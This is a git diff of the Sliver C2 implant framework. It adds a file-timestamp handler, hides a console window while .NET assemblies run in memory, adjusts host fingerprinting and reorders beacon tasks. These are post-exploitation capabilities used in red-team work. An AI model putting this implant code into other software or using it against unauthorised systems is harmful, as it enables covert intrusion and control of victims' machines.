if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
}
|
||||
}
|
||||
|
||||
finished:
|
||||
data, err = proto.Marshal(chown)
|
||||
resp(data, err)
|
||||
}
|
||||
@@ -99,6 +99,7 @@ var (
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
sliverpb.MsgReconfigureReq: reconfigureHandler,
|
||||
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||
sliverpb.MsgChtimesReq: chtimesHandler,
|
||||
|
||||
// Extensions
|
||||
sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
|
||||
@@ -746,3 +747,13 @@ func listExtensionsHandler(data []byte, resp RPCResponse) {
|
||||
data, err = proto.Marshal(lstResp)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
// Stub since Windows doesn't support UID
|
||||
func getUid(fileInfo os.FileInfo) (string) {
|
||||
return ""
|
||||
}
|
||||
|
||||
// Stub since Windows doesn't support GID
|
||||
func getGid(fileInfo os.FileInfo) (string) {
|
||||
return ""
|
||||
}
|
||||
@@ -31,8 +31,10 @@ import (
|
||||
"github.com/gofrs/uuid"
|
||||
)
|
||||
|
||||
var zeroGUID = uuid.Must(uuid.FromString("00000000-0000-0000-0000-000000000000"))
|
||||
|
||||
// UUIDFromMAC - Generate a UUID based on the machine's MAC addresses, this is
|
||||
// generally used as a last resort to fingerpint the host machine. It creates
|
||||
// generally used as a last resort to fingerprint the host machine. It creates
|
||||
// a uuid by hashing the MAC addresses of all network interfaces and using the
|
||||
// first 16 bytes of the hash as the UUID. This should work so long as network
|
||||
// interfaces are not added or removed, since its physical addresses this should
|
||||
@@ -43,7 +45,7 @@ func UUIDFromMAC() string {
|
||||
// {{end}}
|
||||
interfaces, err := net.Interfaces()
|
||||
if err != nil {
|
||||
return ""
|
||||
return zeroGUID.String()
|
||||
}
|
||||
hardwareAddrs := []string{}
|
||||
for _, iface := range interfaces {
|
||||
@@ -51,6 +53,9 @@ func UUIDFromMAC() string {
|
||||
hardwareAddrs = append(hardwareAddrs, iface.HardwareAddr.String())
|
||||
}
|
||||
}
|
||||
if len(hardwareAddrs) == 0 {
|
||||
return zeroGUID.String()
|
||||
}
|
||||
sort.Strings(hardwareAddrs) // Ensure deterministic order
|
||||
digest := sha256.New()
|
||||
for _, addr := range hardwareAddrs {
|
||||
@@ -58,7 +63,7 @@ func UUIDFromMAC() string {
|
||||
}
|
||||
value, err := uuid.FromBytes(digest.Sum(nil)[:16]) // Must be 128-bits
|
||||
if err != nil {
|
||||
return ""
|
||||
return zeroGUID.String()
|
||||
}
|
||||
return value.String()
|
||||
}
|
||||
@@ -1,23 +1,23 @@
|
||||
// +build darwin
|
||||
//go:build darwin
|
||||
|
||||
package hostuuid
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
/*
|
||||
|
||||
@@ -1,5 +1,4 @@
|
||||
//go:build linux
|
||||
// +build linux
|
||||
|
||||
package hostuuid
|
||||
|
||||
@@ -23,15 +22,15 @@ package hostuuid
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
)
|
||||
|
||||
// GetUUID - Get a system specific UUID
|
||||
func GetUUID() string {
|
||||
uuid, err := ioutil.ReadFile("/etc/machine-id")
|
||||
uuid, err := os.ReadFile("/etc/machine-id")
|
||||
// UUID length is 32 plus newline
|
||||
if err != nil || len(uuid) != 33 {
|
||||
uuid, err = ioutil.ReadFile("/var/lib/dbus/machine-id")
|
||||
uuid, err = os.ReadFile("/var/lib/dbus/machine-id")
|
||||
if err != nil || len(uuid) != 33 {
|
||||
return UUIDFromMAC() // Failed, try to use MAC addresses
|
||||
}
|
||||
|
||||
+70
-40
@@ -394,13 +394,50 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
var tasksExtensionRegister []*sliverpb.Envelope
|
||||
var tasksOther []*sliverpb.Envelope
|
||||
|
||||
for _, task := range tasks.Tasks {
|
||||
switch task.Type {
|
||||
case sliverpb.MsgRegisterExtensionReq:
|
||||
tasksExtensionRegister = append(tasksExtensionRegister, task)
|
||||
default:
|
||||
tasksOther = append(tasksOther, task)
|
||||
}
|
||||
}
|
||||
|
||||
// ensure extensions are registered before they are called
|
||||
var results []*sliverpb.Envelope
|
||||
for _, r := range beaconHandleTasklist(tasksExtensionRegister) {
|
||||
results = append(results, r)
|
||||
}
|
||||
for _, r := range beaconHandleTasklist(tasksOther) {
|
||||
results = append(results, r)
|
||||
}
|
||||
|
||||
err = beacon.Send(wrapEnvelope(sliverpb.MsgBeaconTasks, &sliverpb.BeaconTasks{
|
||||
ID: InstanceID,
|
||||
Tasks: results,
|
||||
}))
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] error sending results %s", err)
|
||||
// {{end}}
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] all results sent to server, cleanup ...")
|
||||
// {{end}}
|
||||
return nil
|
||||
}
|
||||
|
||||
func beaconHandleTasklist(tasks []*sliverpb.Envelope) []*sliverpb.Envelope {
|
||||
results := []*sliverpb.Envelope{}
|
||||
resultsMutex := &sync.Mutex{}
|
||||
wg := &sync.WaitGroup{}
|
||||
sysHandlers := handlers.GetSystemHandlers()
|
||||
specHandlers := handlers.GetSpecialHandlers()
|
||||
|
||||
for _, task := range tasks.Tasks {
|
||||
for _, task := range tasks {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] execute task %d", task.Type)
|
||||
// {{end}}
|
||||
@@ -409,37 +446,41 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
|
||||
data := task.Data
|
||||
taskID := task.ID
|
||||
// {{if eq .Config.GOOS "windows" }}
|
||||
go handlers.WrapperHandler(handler, data, func(data []byte, err error) {
|
||||
resultsMutex.Lock()
|
||||
defer resultsMutex.Unlock()
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
// {{if .Config.Debug}}
|
||||
if err != nil {
|
||||
log.Printf("[beacon] handler function returned an error: %s", err)
|
||||
}
|
||||
log.Printf("[beacon] task completed (id: %d)", taskID)
|
||||
// {{end}}
|
||||
results = append(results, &sliverpb.Envelope{
|
||||
ID: taskID,
|
||||
Data: data,
|
||||
handlers.WrapperHandler(handler, data, func(data []byte, err error) {
|
||||
resultsMutex.Lock()
|
||||
defer resultsMutex.Unlock()
|
||||
// {{if .Config.Debug}}
|
||||
if err != nil {
|
||||
log.Printf("[beacon] handler function returned an error: %s", err)
|
||||
}
|
||||
log.Printf("[beacon] task completed (id: %d)", taskID)
|
||||
// {{end}}
|
||||
results = append(results, &sliverpb.Envelope{
|
||||
ID: taskID,
|
||||
Data: data,
|
||||
})
|
||||
})
|
||||
})
|
||||
}()
|
||||
// {{else}}
|
||||
go handler(data, func(data []byte, err error) {
|
||||
resultsMutex.Lock()
|
||||
defer resultsMutex.Unlock()
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
// {{if .Config.Debug}}
|
||||
if err != nil {
|
||||
log.Printf("[beacon] handler function returned an error: %s", err)
|
||||
}
|
||||
log.Printf("[beacon] task completed (id: %d)", taskID)
|
||||
// {{end}}
|
||||
results = append(results, &sliverpb.Envelope{
|
||||
ID: taskID,
|
||||
Data: data,
|
||||
handler(data, func(data []byte, err error) {
|
||||
resultsMutex.Lock()
|
||||
defer resultsMutex.Unlock()
|
||||
// {{if .Config.Debug}}
|
||||
if err != nil {
|
||||
log.Printf("[beacon] handler function returned an error: %s", err)
|
||||
}
|
||||
log.Printf("[beacon] task completed (id: %d)", taskID)
|
||||
// {{end}}
|
||||
results = append(results, &sliverpb.Envelope{
|
||||
ID: taskID,
|
||||
Data: data,
|
||||
})
|
||||
})
|
||||
})
|
||||
}()
|
||||
// {{end}}
|
||||
} else if task.Type == sliverpb.MsgOpenSession {
|
||||
go openSessionHandler(task.Data)
|
||||
@@ -461,6 +502,7 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
|
||||
resultsMutex.Unlock()
|
||||
}
|
||||
}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] waiting for task(s) to complete ...")
|
||||
// {{end}}
|
||||
@@ -469,19 +511,7 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
|
||||
log.Printf("[beacon] all tasks completed, sending results to server")
|
||||
// {{end}}
|
||||
|
||||
err = beacon.Send(wrapEnvelope(sliverpb.MsgBeaconTasks, &sliverpb.BeaconTasks{
|
||||
ID: InstanceID,
|
||||
Tasks: results,
|
||||
}))
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] error sending results %s", err)
|
||||
// {{end}}
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] all results sent to server, cleanup ...")
|
||||
// {{end}}
|
||||
return nil
|
||||
return results
|
||||
}
|
||||
|
||||
func openSessionHandler(data []byte) {
|
||||
|
||||
+21
-10
@@ -1,6 +1,7 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
// go-clr is a PoC package that wraps Windows syscalls necessary to load and the CLR into the current process and
|
||||
// Package clr is a PoC package that wraps Windows syscalls necessary to load and the CLR into the current process and
|
||||
// execute a managed DLL from disk or a managed EXE from memory
|
||||
package clr
|
||||
|
||||
@@ -11,7 +12,7 @@ import (
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
// GetInstallRuntimes is a wrapper function that returns an array of installed runtimes. Requires an existing ICLRMetaHost
|
||||
// GetInstalledRuntimes is a wrapper function that returns an array of installed runtimes. Requires an existing ICLRMetaHost
|
||||
func GetInstalledRuntimes(metahost *ICLRMetaHost) ([]string, error) {
|
||||
var runtimes []string
|
||||
enumICLRRuntimeInfo, err := metahost.EnumerateInstalledRuntimes()
|
||||
@@ -89,16 +90,26 @@ func ExecuteDLLFromDisk(targetRuntime, dllpath, typeName, methodName, argument s
|
||||
}
|
||||
|
||||
pDLLPath, err := syscall.UTF16PtrFromString(dllpath)
|
||||
must(err)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
pTypeName, err := syscall.UTF16PtrFromString(typeName)
|
||||
must(err)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
pMethodName, err := syscall.UTF16PtrFromString(methodName)
|
||||
must(err)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
pArgument, err := syscall.UTF16PtrFromString(argument)
|
||||
must(err)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
ret, err := runtimeHost.ExecuteInDefaultAppDomain(pDLLPath, pTypeName, pMethodName, pArgument)
|
||||
must(err)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if *ret != 0 {
|
||||
return int16(*ret), fmt.Errorf("the ICLRRuntimeHost::ExecuteInDefaultAppDomain method returned a non-zero return value: %d", *ret)
|
||||
}
|
||||
@@ -200,7 +211,7 @@ func ExecuteByteArray(targetRuntime string, rawBytes []byte, params []string) (r
|
||||
|
||||
// LoadCLR loads the target runtime into the current process and returns the runtimehost
|
||||
// The intended purpose is for the runtimehost to be reused for subsequent operations
|
||||
// throught the duration of the program. Commonly used with C2 frameworks
|
||||
// throughout the duration of the program. Commonly used with C2 frameworks
|
||||
func LoadCLR(targetRuntime string) (runtimeHost *ICORRuntimeHost, err error) {
|
||||
if targetRuntime == "" {
|
||||
targetRuntime = "v4"
|
||||
@@ -300,7 +311,7 @@ func ExecuteByteArrayDefaultDomain(runtimeHost *ICORRuntimeHost, rawBytes []byte
|
||||
|
||||
// LoadAssembly uses a previously instantiated runtimehost and loads an assembly into the default AppDomain
|
||||
// and returns the assembly's methodInfo structure. The intended purpose is for the assembly to be loaded
|
||||
// once but executed many times throught the duration of the program. Commonly used with C2 frameworks
|
||||
// once but executed many times throughout the duration of the program. Commonly used with C2 frameworks
|
||||
func LoadAssembly(runtimeHost *ICORRuntimeHost, rawBytes []byte) (methodInfo *MethodInfo, err error) {
|
||||
appDomain, err := GetAppDomain(runtimeHost)
|
||||
if err != nil {
|
||||
@@ -319,7 +330,7 @@ func LoadAssembly(runtimeHost *ICORRuntimeHost, rawBytes []byte) (methodInfo *Me
|
||||
}
|
||||
|
||||
// InvokeAssembly uses the MethodInfo structure of a previously loaded assembly and executes it.
|
||||
// The intended purpose is for the assembly to be executed many times throught the duration of the
|
||||
// The intended purpose is for the assembly to be executed many times throughout the duration of the
|
||||
// program. Commonly used with C2 frameworks
|
||||
func InvokeAssembly(methodInfo *MethodInfo, params []string) (stdout string, stderr string) {
|
||||
var paramSafeArray *SafeArray
|
||||
|
||||
+32
-2
@@ -1,3 +1,4 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
@@ -8,6 +9,7 @@ import (
|
||||
"fmt"
|
||||
"os"
|
||||
"sync"
|
||||
"syscall"
|
||||
"time"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
@@ -58,13 +60,41 @@ func RedirectStdoutStderr() (err error) {
|
||||
return
|
||||
}
|
||||
|
||||
// Createa new reader and writer for STDERR
|
||||
// Create a new reader and writer for STDERR
|
||||
rSTDERR, wSTDERR, err = os.Pipe()
|
||||
if err != nil {
|
||||
err = fmt.Errorf("there was an error calling the os.Pipe() function to create a new STDERR:\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
getConsoleWindow := kernel32.NewProc("GetConsoleWindow")
|
||||
|
||||
// Ensure the process has a console because if it doesn't there will be no output to capture
|
||||
hConsole, _, _ := getConsoleWindow.Call()
|
||||
if hConsole == 0 {
|
||||
// https://learn.microsoft.com/en-us/windows/console/allocconsole
|
||||
allocConsole := kernel32.NewProc("AllocConsole")
|
||||
// BOOL WINAPI AllocConsole(void);
|
||||
ret, _, err := allocConsole.Call()
|
||||
// A process can be associated with only one console, so the AllocConsole function fails if the calling process
|
||||
// already has a console. So long as any console exists we are good to go and therefore don't care about errors
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("there was an error calling kernel32!AllocConsole with return code %d: %s", ret, err)
|
||||
}
|
||||
|
||||
// Get a handle to the newly created/allocated console
|
||||
hConsole, _, _ = getConsoleWindow.Call()
|
||||
|
||||
user32 := windows.NewLazySystemDLL("user32.dll")
|
||||
showWindow := user32.NewProc("ShowWindow")
|
||||
// Hide the console window
|
||||
ret, _, err = showWindow.Call(hConsole, windows.SW_HIDE)
|
||||
if err != syscall.Errno(0) {
|
||||
return fmt.Errorf("there was an error calling user32!ShowWindow with return %+v: %s", ret, err)
|
||||
}
|
||||
}
|
||||
|
||||
// Set STDOUT/STDERR to the new files from os.Pipe()
|
||||
// https://docs.microsoft.com/en-us/windows/console/setstdhandle
|
||||
if err = windows.SetStdHandle(windows.STD_OUTPUT_HANDLE, windows.Handle(wSTDOUT.Fd())); err != nil {
|
||||
@@ -132,7 +162,7 @@ func ReadStdoutStderr() (stdout string, stderr string, err error) {
|
||||
return
|
||||
}
|
||||
|
||||
// CloseSTdoutStderr closes the Reader/Writer for the prviously redirected STDOUT/STDERR
|
||||
// CloseStdoutStderr closes the Reader/Writer for the previously redirected STDOUT/STDERR
|
||||
// that was changed to an *os.File
|
||||
func CloseStdoutStderr() (err error) {
|
||||
err = rSTDOUT.Close()
|
||||
|
||||
-8
@@ -5,7 +5,6 @@ package clr
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"log"
|
||||
"strings"
|
||||
"unicode/utf16"
|
||||
"unsafe"
|
||||
@@ -25,13 +24,6 @@ func checkOK(hr uintptr, caller string) error {
|
||||
}
|
||||
}
|
||||
|
||||
// must forces the program to exit if there is an error using the log.Fatal command
|
||||
func must(err error) {
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func utf16Le(s string) []byte {
|
||||
enc := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder()
|
||||
var buf bytes.Buffer
|
||||
|
||||
Vendored
+1
-1
@@ -15,7 +15,7 @@ github.com/BurntSushi/xgb/xproto
|
||||
# github.com/Microsoft/go-winio v0.5.1
|
||||
## explicit; go 1.12
|
||||
github.com/Microsoft/go-winio/pkg/guid
|
||||
# github.com/Ne0nd0g/go-clr v1.0.2
|
||||
# github.com/Ne0nd0g/go-clr v1.0.3
|
||||
## explicit; go 1.13
|
||||
github.com/Ne0nd0g/go-clr
|
||||
# github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.21.8
|
||||
// protoc-gen-go v1.27.1
|
||||
// protoc v4.22.2
|
||||
// source: clientpb/client.proto
|
||||
|
||||
package clientpb
|
||||
@@ -1220,7 +1220,6 @@ type ImplantConfig struct {
|
||||
Evasion bool `protobuf:"varint,9,opt,name=Evasion,proto3" json:"Evasion,omitempty"`
|
||||
ObfuscateSymbols bool `protobuf:"varint,10,opt,name=ObfuscateSymbols,proto3" json:"ObfuscateSymbols,omitempty"`
|
||||
TemplateName string `protobuf:"bytes,11,opt,name=TemplateName,proto3" json:"TemplateName,omitempty"`
|
||||
DisableSGN bool `protobuf:"varint,12,opt,name=DisableSGN,proto3" json:"DisableSGN,omitempty"`
|
||||
MtlsCACert string `protobuf:"bytes,20,opt,name=MtlsCACert,proto3" json:"MtlsCACert,omitempty"`
|
||||
MtlsCert string `protobuf:"bytes,21,opt,name=MtlsCert,proto3" json:"MtlsCert,omitempty"`
|
||||
MtlsKey string `protobuf:"bytes,22,opt,name=MtlsKey,proto3" json:"MtlsKey,omitempty"`
|
||||
@@ -4157,7 +4156,8 @@ func (x *MsfStager) GetFile() *commonpb.File {
|
||||
}
|
||||
|
||||
// GetSystemReq - Client request to the server which is translated into
|
||||
// InvokeSystemReq when sending to the implant.
|
||||
//
|
||||
// InvokeSystemReq when sending to the implant.
|
||||
type GetSystemReq struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
@@ -4222,7 +4222,8 @@ func (x *GetSystemReq) GetRequest() *commonpb.Request {
|
||||
}
|
||||
|
||||
// MigrateReq - Client request to the server which is translated into
|
||||
// InvokeMigrateReq when sending to the implant.
|
||||
//
|
||||
// InvokeMigrateReq when sending to the implant.
|
||||
type MigrateReq struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.21.8
|
||||
// protoc-gen-go v1.27.1
|
||||
// protoc v4.22.2
|
||||
// source: commonpb/common.proto
|
||||
|
||||
package commonpb
|
||||
@@ -131,8 +131,9 @@ func (x *Request) GetSessionID() string {
|
||||
}
|
||||
|
||||
// Response - Common fields used in all gRPC responses. Note that the Err field
|
||||
// only used when the implant needs to return an error to the server.
|
||||
// Client<->Server comms should use normal gRPC error handling.
|
||||
//
|
||||
// only used when the implant needs to return an error to the server.
|
||||
// Client<->Server comms should use normal gRPC error handling.
|
||||
type Response struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.21.8
|
||||
// protoc-gen-go v1.27.1
|
||||
// protoc v4.22.2
|
||||
// source: dnspb/dns.proto
|
||||
|
||||
package dnspb
|
||||
@@ -87,12 +87,10 @@ func (DNSMessageType) EnumDescriptor() ([]byte, []int) {
|
||||
return file_dnspb_dns_proto_rawDescGZIP(), []int{0}
|
||||
}
|
||||
|
||||
// NOTE: DNS is very space sensitive so certain fields are re-purposed
|
||||
// depending on the DNSMessageType as noted below:
|
||||
//
|
||||
//NOTE: DNS is very space sensitive so certain fields are re-purposed
|
||||
//depending on the DNSMessageType as noted below:
|
||||
//
|
||||
//[Type TOTP]: ID field is used for the TOTP code
|
||||
//
|
||||
// [Type TOTP]: ID field is used for the TOTP code
|
||||
type DNSMessage struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
|
||||
+359
-338
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.21.8
|
||||
// protoc-gen-go v1.27.1
|
||||
// protoc v4.22.2
|
||||
// source: rpcpb/services.proto
|
||||
|
||||
package rpcpb
|
||||
@@ -31,7 +31,7 @@ var file_rpcpb_services_proto_rawDesc = []byte{
|
||||
0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2f, 0x73,
|
||||
0x6c, 0x69, 0x76, 0x65, 0x72, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x63, 0x6c, 0x69,
|
||||
0x65, 0x6e, 0x74, 0x70, 0x62, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2e, 0x70, 0x72, 0x6f,
|
||||
0x74, 0x6f, 0x32, 0x8a, 0x3e, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
|
||||
0x74, 0x6f, 0x32, 0x9a, 0x3f, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
|
||||
0x12, 0x30, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x0f,
|
||||
0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a,
|
||||
0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x56, 0x65, 0x72, 0x73, 0x69,
|
||||
@@ -288,7 +288,16 @@ var file_rpcpb_services_proto_rawDesc = []byte{
|
||||
0x2e, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x2f, 0x0a, 0x06, 0x55, 0x70, 0x6c,
|
||||
0x6f, 0x61, 0x64, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55,
|
||||
0x70, 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
|
||||
0x72, 0x70, 0x62, 0x2e, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x3e, 0x0a, 0x0b, 0x50, 0x72,
|
||||
0x72, 0x70, 0x62, 0x2e, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x2c, 0x0a, 0x05, 0x43, 0x68,
|
||||
0x6d, 0x6f, 0x64, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43,
|
||||
0x68, 0x6d, 0x6f, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
|
||||
0x70, 0x62, 0x2e, 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x12, 0x2c, 0x0a, 0x05, 0x43, 0x68, 0x6f, 0x77,
|
||||
0x6e, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6f,
|
||||
0x77, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
|
||||
0x2e, 0x43, 0x68, 0x6f, 0x77, 0x6e, 0x12, 0x32, 0x0a, 0x07, 0x43, 0x68, 0x74, 0x69, 0x6d, 0x65,
|
||||
0x73, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x74,
|
||||
0x69, 0x6d, 0x65, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
|
||||
0x70, 0x62, 0x2e, 0x43, 0x68, 0x74, 0x69, 0x6d, 0x65, 0x73, 0x12, 0x3e, 0x0a, 0x0b, 0x50, 0x72,
|
||||
0x6f, 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, 0x70, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76,
|
||||
0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, 0x70,
|
||||
0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50,
|
||||
@@ -578,145 +587,151 @@ var file_rpcpb_services_proto_goTypes = []interface{}{
|
||||
(*sliverpb.MkdirReq)(nil), // 40: sliverpb.MkdirReq
|
||||
(*sliverpb.DownloadReq)(nil), // 41: sliverpb.DownloadReq
|
||||
(*sliverpb.UploadReq)(nil), // 42: sliverpb.UploadReq
|
||||
(*sliverpb.ProcessDumpReq)(nil), // 43: sliverpb.ProcessDumpReq
|
||||
(*sliverpb.RunAsReq)(nil), // 44: sliverpb.RunAsReq
|
||||
(*sliverpb.ImpersonateReq)(nil), // 45: sliverpb.ImpersonateReq
|
||||
(*sliverpb.RevToSelfReq)(nil), // 46: sliverpb.RevToSelfReq
|
||||
(*clientpb.GetSystemReq)(nil), // 47: clientpb.GetSystemReq
|
||||
(*sliverpb.TaskReq)(nil), // 48: sliverpb.TaskReq
|
||||
(*clientpb.MSFReq)(nil), // 49: clientpb.MSFReq
|
||||
(*clientpb.MSFRemoteReq)(nil), // 50: clientpb.MSFRemoteReq
|
||||
(*sliverpb.ExecuteAssemblyReq)(nil), // 51: sliverpb.ExecuteAssemblyReq
|
||||
(*clientpb.MigrateReq)(nil), // 52: clientpb.MigrateReq
|
||||
(*sliverpb.ExecuteReq)(nil), // 53: sliverpb.ExecuteReq
|
||||
(*sliverpb.ExecuteWindowsReq)(nil), // 54: sliverpb.ExecuteWindowsReq
|
||||
(*sliverpb.SideloadReq)(nil), // 55: sliverpb.SideloadReq
|
||||
(*sliverpb.InvokeSpawnDllReq)(nil), // 56: sliverpb.InvokeSpawnDllReq
|
||||
(*sliverpb.ScreenshotReq)(nil), // 57: sliverpb.ScreenshotReq
|
||||
(*sliverpb.CurrentTokenOwnerReq)(nil), // 58: sliverpb.CurrentTokenOwnerReq
|
||||
(*sliverpb.PivotStartListenerReq)(nil), // 59: sliverpb.PivotStartListenerReq
|
||||
(*sliverpb.PivotStopListenerReq)(nil), // 60: sliverpb.PivotStopListenerReq
|
||||
(*sliverpb.PivotListenersReq)(nil), // 61: sliverpb.PivotListenersReq
|
||||
(*sliverpb.StartServiceReq)(nil), // 62: sliverpb.StartServiceReq
|
||||
(*sliverpb.StopServiceReq)(nil), // 63: sliverpb.StopServiceReq
|
||||
(*sliverpb.RemoveServiceReq)(nil), // 64: sliverpb.RemoveServiceReq
|
||||
(*sliverpb.MakeTokenReq)(nil), // 65: sliverpb.MakeTokenReq
|
||||
(*sliverpb.EnvReq)(nil), // 66: sliverpb.EnvReq
|
||||
(*sliverpb.SetEnvReq)(nil), // 67: sliverpb.SetEnvReq
|
||||
(*sliverpb.UnsetEnvReq)(nil), // 68: sliverpb.UnsetEnvReq
|
||||
(*sliverpb.BackdoorReq)(nil), // 69: sliverpb.BackdoorReq
|
||||
(*sliverpb.RegistryReadReq)(nil), // 70: sliverpb.RegistryReadReq
|
||||
(*sliverpb.RegistryWriteReq)(nil), // 71: sliverpb.RegistryWriteReq
|
||||
(*sliverpb.RegistryCreateKeyReq)(nil), // 72: sliverpb.RegistryCreateKeyReq
|
||||
